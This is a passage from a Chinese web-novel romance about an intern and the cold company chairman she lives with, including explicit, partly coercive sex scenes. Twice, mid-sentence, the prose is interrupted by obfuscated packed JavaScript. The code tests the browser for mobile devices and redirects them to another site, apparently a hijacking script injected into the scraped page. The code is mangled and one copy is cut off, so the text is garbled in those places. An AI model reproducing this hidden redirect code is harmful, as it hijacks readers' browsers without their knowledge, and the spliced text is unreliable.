沈决远洗完澡出来,放了一张名片在桌上:“早餐在客厅。你休息好了打这个打电话,他是我的司机。我会让他直接送你回去,今天放一天假,在家好好休息。” 他安排的无比体贴且周到,似乎很有人情味。 可比起这些,池溪现在更想要的是陪伴。 她讨厌结束后的空虚,心脏仿佛被掏空了一般。她抿了抿唇,眼泪没骨气地落下来,但在被沈决远发现的那一刻,她将脑袋埋进了被子里。 不要将自己的软弱展现给其他人。她时刻记得妈妈教给她的这句话。 沈决远离开了,在她哭泣的时候。 然后就是现在。 池溪坐在工位前,她不太想回去。 回去了也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016378|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤零零地住在没人经过的房间。 还不如就待在公司,刚好可以蹭公司的网和电。 池溪想起她被塞到沈家之前,父亲对她的那些叮嘱。 要时刻记得自己的身份,不要给他丢脸,也不要给周家丢脸。要努力给沈伯父和沈决远留下好印象。 之所以没有提到郑伯母和沈司桥,以为池溪对她这个势利眼父亲的了解。 八成是他认为讨好后者没什么用。 ——“千万千万千万千万不能得罪了沈决远,知道吗?” 这是最关键的一句话。 池溪想,和他睡了算得罪他吗? 嗯...某种意义上的‘强迫’他和自己睡了算得罪吗? 池溪将头发放下来,试图挡住身上这件毛衣。 她担心有人注意到她的穿着。 她的衣服被撕烂了,已经没办法再穿。 她只能从沈决远的衣柜里取出一件毛衣换上。 大到她将袖子卷了好几圈才可以看到手。 她给沈决远发消息:“我可以穿你的衣服吗?我的衣服被撕烂了/(ㄒoㄒ)/~~” 这条消息的回复在她坐上回家的保时捷时才等到。 ——可以。 简洁明了的两个字。 紧接着,手机收到一条转账信息。 池溪困到睁不开的眼睛瞬间睁大了 她以为是自己眼花看错,数清楚后面的零后,她按了一连串的问号回过去。 ????????????? ——抱歉,撕烂了你的衣服。 对方附上转账原因。 原来不是她的过夜费....池溪松了口气,她松开手里的娃娃。 差点就要对它下手泄愤了。 ——用不了这么多的,我的衣服很便宜。 消息发出去,没有收到回复。情理之中。 沈决远对她的态度又回到了平时,冷淡疏离。刚才的一切仿佛都是一场梦。 的确是一场梦,池溪‘偷来’的梦。 她觉得自己很卑鄙,她想和沈决远坦白,可是他会信吗? 这种离奇的话他会信吗。 如果他信了,那他会放过自己吗? 显然是不会的。 池溪觉得接下来自己只能更用力地控制住自己的思想,不要再乱想那些乱七八糟的东西了。 她不希望下次真的和他在野外车zhen。 池溪点开沈决远的头像。本来是想进他的朋友圈看看的,结果发现这个人根本就没开通。 好吧,看来对他来说,这个app就只是一个单纯的社交平台。 嗯..甚至连他的头像都是系统自带的那种。 老古板。 在那方面也古板。 一整个晚上,他连她身上哪里长了痣都知道,她却只看清了他的腰腹肌肉。 精壮有力。 - 今天有一场会议,由于是保密级别,所以地点直接安排在了沈决远的办公室内。 白沙湾岛靠近西海流域,这次过去也是因为货船需要从那条航线经过。 中途会在白沙湾岛停泊。然后会有人将船上的货物重新更换一批。 办公室内参与会议的几个人已经争吵开了。 一头金发的俄罗斯男发表出反对的意见:“我认为这件事不应该如此冒险,丹尼尔,你清楚白沙湾岛的天气吗?” 梳着一丝不苟的背头,穿深褐色复古英伦风西装的男人驳回了他的意见:“可以人工消雨。能够花钱解决的事情就是最小的事情。” “为什么不能绕路呢,或许有比白沙湾岛更加完美的卸货地点。” “那就只有鲁加菲岛了。” 他们的争论再激烈,那个做决策的掌权人却从始至终都很安静。 他坐在单人沙发上抽着雪茄,黑色的西装外套微微敞开,露出里面的西装马甲。正经严肃的西装三件套。 男人长腿交叠,黑色薄底皮鞋,露出深红的鞋底,造成了一种视觉上的冲击。 就好像,如此古板禁欲的男人,偶尔也会有破戒的时候。 那几个人争论不休,最终还是求助的看向沈决远。 他一直没有发表任何意见,而是以审视的姿态看着他们。 半垂的眼眸几乎没什么情绪。 “就按照之前的方案来。”他放下手中的雪茄,“天气问题花点钱解决。鲁加菲岛靠近南海,那边查得严。” 更何况,那个岛无论是天气还是风景都是顶级,很适合居住。 他打算留给未来的妻女。 虽然他目前还没有结婚的打算。 有了他的发话,刚才争论的几个人此时都变得无比乖顺。 其中一个人准备替沈决远重新将雪茄点燃,可他刚起身,就看到了后方的中岛台,一条被扯烂的浅粉色内裤掉在地毯上。 看来打扫这里的保洁过于不仔细了。 丹尼尔重新坐下来,假装没有看见。 沈决远坐在沙发上,手边的雪茄正在缓慢燃烧,他眼眸微抬,神情从容中透着平静。他淡声询问:“新达那边,快了吗?” 片刻后,他低头看了眼自己的右手。 ——夹着雪茄的这只手,小拇指似乎被谁的手轻轻握住了。掌心正贴着他的手指轻轻摩挲,像在撒娇。 那只手很软,带着温热体温。 沈决远眉头微皱。 最近这种感觉总是会出现,他甚至在上周接受了心理医生的治疗。显然,效果并不显著。 他像驱逐苍蝇一样轻轻挥了挥手,但那个触感仍旧存在。 并且在接下来的谈话中,一直有意无意地触碰他的手指。 对方点头:“破裂的资金链无法填补,估计用不了三个月,对方就要提交破产申请了。” 沈决远抽了口雪茄,深邃的眼睛带着平静的淡色。 他眼眸微眯。 “三个月,还是太长了。” 丹尼尔立刻会意:“我会去抽个时间去找他的。” 沈决远点了点头。 那只手仍旧握着他的拇指不放。 沉默片刻,沈决远轻轻收拢手指回应。 无奈地握住了这只不安分,总是打扰他工作的小手。 9. 第九章 接到好友打来的诉苦电话时,池溪正在给那些文件分类。她的工作基本上就是这些杂活。 她用脑袋和肩膀夹着手机,将两只手空出来。耳朵和手都没有空闲。 偶尔嘴巴也得派上用场——用来安慰她的朋友。 “公司不允许办公室恋情我认了,为什么开除我不开除他?而且还是他主动追求的我。” 池溪听完后,突然想到了昨天晚上到今天早上在公司发生的事情。 她顿时有些心虚。 这份心虚持续到了挂断电话,她不安地询问部门前辈:“咱们公司允许公司恋情吗?” 前辈头也没抬:“虽然没有明令禁止,但一般是不允许的。” 池溪更加不安,抿了抿唇:“那是两个人一起开除还是.....” 前辈终于抬起头,他抬手推了推眼镜,看着她:“常规情况下是两个人一起开除。” 好吧,看来也有不常规的。 譬如,其中一方是董事长。 池溪彻底认命了。 但她侥幸地想,至少自己抱上了董事长这条大腿。沈决远哪怕再无情,应该也不至于沦落到被开除的地步。 下午三点的一场会议策划部需要参与,池溪作为新转正的实习生,被委派去参与一些打杂的工作。 还是负责整理资料。这段时间下来,她已经有了非常丰富的整理资料经验。 搭乘电梯来到会议室,她没想过会在这里碰到沈决远。 她以为这种普通会议一般都是由总经理或是副总裁出面,没想到竟然是董事长本人亲临。 他一身深色西装,坐在首座。很难想象五个小时前,如此严肃正经的他,像条发情的狗一样耸动着腰肢。 她努力控制自己的眼神不去看他的胸口。谁能想到呢,白衬衫和西装马甲以及西装外套层层覆盖的地方,有着那么性感健硕的胸肌。 “沈董,这是新修改的策划案。”部长走到沈决远面前,将手中的策划案放下,池溪跟在后面,将u盘插入电脑,只等得到沈决远的点头,然后播放手中的ppt。 沈决远很适合穿西装,因为和他身上那种禁欲冷淡的气质适配度很高。 他不需要说任何话,拥有任何表情,身上那种浑然天成的上位者气场就已经让人手脚发凉。 “开始吧。”片刻后,他语气平淡地命令。 池溪负责的工作全程都是一些杂活,ppt开始播放之后她就自觉站到了一边,连个座位都不配有的那一种。 因为她接下来还得负责将手中的资料发给正在开会的那些高层。 也包括坐在首位的沈决远。 她将资料放到他面前时,男人轻轻抬眼,看了眼她身上的毛衣。 很显然,他认出了这是自己的衣服。 但他的注意力并没有过多的放在她身上,平淡地扫了一眼便再次低下头,翻阅起手中的资料。 池溪其实也很心虚,她相信,明眼人都能看出这是一件男士毛衣。 无论是款式还是尺码。 并且很明显,这件衣服属于一位身材十分高大的男性的。 不过不会有人会联想到这件穿在底层员工身上的衣服,和这位最高掌权者有关。 沈决远很严厉。是那种让人感到局促与害怕的严厉。 池溪觉得四周的空气都因为他的低气压而凝固了。很显然,他仍旧不满意这一次的策划案。或许他已经开始后悔上一次的裁员力度还不够。 很大可能,公司即将迎来下一次大裁员。 池溪的思绪不由得飘远了些。她想起自己昨天晚上她恶狠狠地威胁那个娃娃,用手圈着它的脖子,故作凶狠道:“你要是敢让我丢了这份工作,我就掐死你。” 当然,她只是吓唬吓唬它,她可是良好公民,做不出这种事情来。 深知这次是他们部位最后一次机会的池溪只能在心里不断哀求娃娃大神能够显灵这一次。 “市场定位模糊和数据断层,风险对冲预案上也不达标准。” 他精准地指出上面的问题,并没有像之前那样,让他们拿着这份策划案滚回去重改。 他们的能力的确不足以支撑他们留在这个岗位,这也是集团逐渐走向谁衰败的原因,其实和沈司桥的无能没有直接因素。 负责这次策划案的上司紧张到声音都在发抖:“我们会重新补齐数据模型,然后重做市场调研。” “希望这是最后一次。” 沈决远将手中的资料递了出去,上司伸手接过。 这句话显然是一个讯号,他给了他们最后一个机会。 虽然惊讶于这个结果,但所有人都松了一口气。 会议到此结束,所有人都准备离开。 “池溪?” 男人翻看手中的名册,明知故问地问出一个名字。 众人都停了下来,包括被点名的当事人。 池溪战战兢兢:“还有什么交代吗,沈董。” 男人头也没抬:“你留一下,把这些东西整理好。” 那些人见没自己什么事,纷纷溜了,生怕在这里多待哪怕一刻。 池溪相信不会因为这种事情而产生自己和沈董的谣言。 不仅相信以沈董的眼光不可能看上她,同时还有出于对这位冷血强大的资本家的畏惧。没人有胆子去传播他的谣言,除非是嫌自己活得太久的。 池溪将办公桌上的文件通通收走,她心里非常不安,因为隐隐觉得发生那样的事情之后,沈决远很有可能会裁掉她 他是一个高标准的人,他不容许任何变数和差错存在。 她想,自己现在就成为了那个差错。 毕竟按照沈决远从小接受的教育而言,他肯定没有想过会和员工在自己的办公室里做整夜的爱。 早上她离开的时候,看了眼落地玻璃,那里已经狼藉到无法看清外面的景象了。 恐怕保洁打扫了很久才完全擦拭干净。 于是在沈决远冷血地辞掉她之前,她抢先开了口。为了让自己的底气足一点,她甚至还可以板着脸,让自己看上去有些恼火:“是你睡了我,我才是吃亏的那一个。” 沈决远脸色平淡:“你想说什么?” “我想说...”她深呼吸给自己壮胆,然后狮子小开口,“你不能以不允许办公室恋情为由裁了我。” 男人停顿数秒,表情没什么变化,唯独嘴角无声上扬了一个像素点。 比起笑,讥讽更加贴切。 “首先,我们没有谈恋爱。”他合上面前的文件,将手压放在上面,“其次,公司没有不允许职员之间存在恋情关系的条款。” 她强迫自己不要盯着他的手指看,因为这总能让她联想到昨天夜晚,他将自己的手中递到她面前,让她去看拉丝的粘稠状。 “把它舔干净。” 她不想,但沈决远直接用手指揉开了她的嘴唇,然后伸进她的口腔里,按着她的舌头搅动。 “自己的东西为什么会嫌弃。” 他的声音总是很冷淡中带着严肃。 训诫感太强了,池溪觉得那种时候也像是在上课或是汇报工作。 这总能让她感觉到紧张。 情绪紧张了,身体也会变得紧张。 沈决远摸摸她的头:“很好,保持下去。” 他似乎很满意,池溪听到身后传来他低沉性感的呼吸声。 仅仅是他的手指就让她联想到这么多,池溪想,完蛋了,那她以后看到沈决远岂不是就回想起昨天。 这显然不行。万一被那个娃娃感应到就完了。因为她的想象力很强,总是能够通过一些小细节联想到一大堆剧情。 “那我.....”虽然被他的第一句话扎了心,但池溪觉得这种时候还是工作更加重要,“那我就先走了。” 男人没有留她:“记得关门。” “好..好的,沈总。” 莫欺少年穷。 她面上唯唯诺诺,窝囊到只敢在心里暗自发誓。 虽然接下来的顺序只能依次是莫欺中年穷莫欺老年穷以及死者为大。 不可能有什么中年逆袭,曾经的白月光男神哭着求我原谅的鸡汤情节。 池溪觉得经历了那种‘坦诚相对’的剧情之后,她已经无法再以正常的心态面对沈决远了。 这总能让她联想到她在他身上身体抽搐地失禁的样子。 她觉得很羞耻。 可惜除了公司,在家里他们甚至还得坐在同一张桌子上吃饭。 今天池溪下班早,她去厨房帮忙。虽然她和之前那几位走得近的佣人闹掰了,但还是有那么一两个和她关系好的。 海鲜都是新鲜空运来的,牛肉牛排则是家里的牧场谷饲喂养,选取牛身上最好的部位,再经过加工处理。 家里其他人都是七分熟,只有北欧长大的大少爷习惯三分熟。 池溪戴着手套清理海鲜,她在心里吐槽,怎么不直接在太阳下面追着牛啃。 今天的海鲜又是鲍鱼,夫人最拿手的就是鲍鱼羹,所以总是用这道菜讨好大少爷。 “我感觉夫人这些卑微的讨好没有起到任何作用。” “是吧。我总觉得,大少爷更像是夫人和老爷的爹。” “嘘,你乱说什么呢,要是被听见就完了。” “没关系,这里就咱们。” 几个私下议论的佣人往池溪那里看了眼:“那不是还有一个吗?” 那人不屑一顾地笑了笑:“她和我们没区别,唯一的区别就是可以上桌吃饭而已。” 是啊,池溪在这个家里的存在和佣人没有区别。 郑伯母和沈伯父的存在和沈决远的下属也没有区别。虽然这么说有些倒反天罡。至少在旁人看来是这样。 他们在沈决远面前的小心翼翼完全不像是长辈应该有的。 池溪想,沈决远对于伯父伯母的尊敬完全是基于他自身的教养。 他给她的感觉总是很奇怪。 比起严肃古板,冷血无情似乎才是他真正的底色。 清洗鲍鱼时需要先将里面的水分挤出来,当手指挤压在上面的肉时,看着咸腥的海水一点点流出来,流满她的掌心和手指。不知想到什么,池溪的脸突然一红,将手中的海鲜重新放回盘子里。 吃饭的时候除了郑伯母偶尔会说上几句表达关心的话之外,沈决远全程都表现的很冷淡。 偶尔点点头,也算是给过回应。 池溪偷偷抬头瞥了一眼,虽然沈决远还是那副喜怒不显的神情,但她依稀能够感受到,他因为这份关心而产生的微妙不耐。 只是在他绅士优雅的表象下,这份不耐得到了很好的克制。 郑伯母希望能给他寻门好亲事的原因也是希望他能因此留下来。 她知道自己儿子是个什么德性,也知道旁系那一支一直盯着沈家的产业。 老爷子器重幼子,当年如果不是沈予亨在遗嘱上动了手脚,恐怕如今沈家的大部分产业都给了他。 如今沈家旁支这棵大树日渐壮大,枝桠已经快要探到他们头顶了。当初若不是沈决远答应回国,恐怕公司早就被吞并。 可决远不可能一直留在这里,他有自己的事情要做。 前阵子看新闻才知道,白沙湾岛的新项目开发,东南亚那边也有了新动静。 板块单日蒸发超4000亿美元,华尔街处于一片恐慌状态,却有人在此时抄底完成对冲。 虽然这条新闻里没有写明主语,但沈予亨知道做出这一切是谁。有这个能力的,也只有此时坐在自己左手侧,安静用餐的长子。 他一身标准的西装三件套,一丝不苟的背头,成熟气质尽显。唯独只有眼睛与自己有几分相似。 立体锋利的骨相令他在没有任何表情的时候,总让人感到冰冷的压迫感。 郑伯母再一次在饭桌上提到为他安排相亲的事情——也只有在饭桌上时,她才能够有机会和他说上几句话。 “上次你因为工作的原因没有去,这次可千万不能再推迟了。那个女生在巴黎留过学,是学艺术的,性格很好,知书达理。”郑伯母轻笑着开口,或许是担心他又因为工作太忙而推拒,郑伯母又补上一句,“我安排在家里见面,看你的时间安排。” 厨房将鲍鱼羹端上来,这次沈决远直接推开了。 他似乎对这道菜已经开始腻了。 也可能是刚吃过,目前不想再吃。 - “你真的答应了吗?” 距离晚餐结束已经三个小时了,天早就黑了。 池溪不知道自己为什么会出现在这里。严格意义上,她不知道自己为什么会主动坐上沈决远的车。 吃完晚饭后,她看着外面的天空,这里的房价之所以贵,就是贵在了这里的空气和景色。 她已经很久没有在城市里看到这么美的夜空了,听说今天十一点有狮子座流星雨。 距离别墅十二公里的那座山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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至于他究竟是不是,她就不得而知了。她只知道那家企业最后有外资进入,重新成立了资本。目前的归属权在谁名下,网上查不到任何信息。 池溪不希望自己也被狼狈拖走,太丢脸了。 她的大脑快速运转,最后说出一句:“呃...如果你去山上的话,我是想搭个便车来着....” 话音刚落,她就想要咬断自己的舌头。找理由也不找个好点的。沈决远去山上干嘛。那座山鸟不拉屎的,平时连个野兔子都找不到,他去山上干嘛?杀人埋尸吗? 然而下一秒,沈决远点了点头:“我的确有事要山上一趟。” “......” 然后就是现在。 刚熄灭的引擎还是热的,她趴在上面,感觉自己的身体被一种温暖包裹。 前面是车的引擎,后面是沈决远的胸膛。 她记不清自己的双脚悬空了多久。 整座山都太安静了。 沈决远没什么情绪起伏的声音从她身后传来:“所以,我为什么要在这种地方做这种事情。” “森..森么?”她已经说不清楚话了,那种受不了的咕噜声在她喉间徘徊,像是要突破颈项的干呕。 太激烈了。 “在野外屮女人,我为什么要做这种事情?” 比起问她,他更像是在问自己。 他在不解,也在鄙夷自己的行为。 虽然可能是在鄙夷此时的那个女人是她。 她觉得这种感觉就像是自己定制的剧情Play一样。但为什么每次都是她先退缩。 “我想下山了,不行...不行了...求你....”她害怕到求饶。 身后的男人并没有因此放过她。虽然鄙夷,但他没有停下。 不知道过了多久,树影沙沙,偶尔有几只鸟停在枝桠上方。 似乎是在观察着人类最原始的行为。 看来这次新闻没有骗人,十一点的时候,狮子座流星雨终于来了。 池溪记得小的时候,同桌告诉她,对着流星雨许愿就能够梦想成真。 她记到了现在。 上一次距离流星雨最近的时候是在大一那一年的冬天。她和舍友吹着冷风在学校的顶楼等了一夜,最后等来了一场大雪,流星雨自然也泡了汤。 她一直在等待着下一场流星雨。她希望能和爱的人一起坐在那里,在流星雨出现的时候许愿。她觉得会很浪漫,这样的场景她会记一辈子。 而不是在流星雨来临时,她正以最狼狈的样子扭着身体尖叫。 虽然比起前者,后者更能让她记一辈子。 不知道过了多久,或许是因为这次是在户外,沈决远并没有在结束之后就对她置之不理,而是绅士地替她将衣服穿好。 她早没了力气,此时像她放在房间里的那个娃娃一样,任凭他摆布。 拉链从身后拉上时,裙子完美地贴合着她的身形。 她的外面本来还加了一件羊绒大衣,但那件大衣早就一塌糊涂了。 她有些心疼,因为那件大衣的价格对她来说很贵。不知道上面的东西能不能洗干净。 “居然还能穿下它,看来这些年你的个子没有一点变化。”男人淡声发表了看法。 池溪觉得自己很无辜,这条裙子是她十八九岁的时候参加那个宴会时,爸爸给她买的。 当时她翻遍行李箱也找不出一条适合出席那个宴会的衣服。最后还是爸爸让人送来的裙子。 女生过了十八九岁本来就很难再长高。 她的腿还在打颤,男人顺势将她放在引擎盖上。上面铺着他的外套。 那件一看就比她的外套要贵出许多的大衣。池溪出于一种恶趣味的报复心,她想,她也要将他的衣服弄脏才行,这样才公平。 不过对于她幼稚的报复,沈决远显然不放在心上。 当然,也可能是一件普通的外套不被他放在心上,脏了就脏了。他不会因为这种事心疼。 他点燃那支事后烟,流星雨早就没了,但天空还能看见星星,月光让夜色变得明亮。 池溪坐在他的车上,手中拿着一瓶沈决远递给她的水,试图补充刚才身体流失的水分。 不知道过了多久,她被不断强高刺激到失去思考能力的大脑终于短暂地找回了一些理智。 她迟钝的想起来。 沈决远怎么会记得她上一次穿的什么衣服。 这条裙子她只穿过两次。 第一次是在那场宴会上——她遇见沈决远并对他一见钟情的那场宴会。 今天是第二次。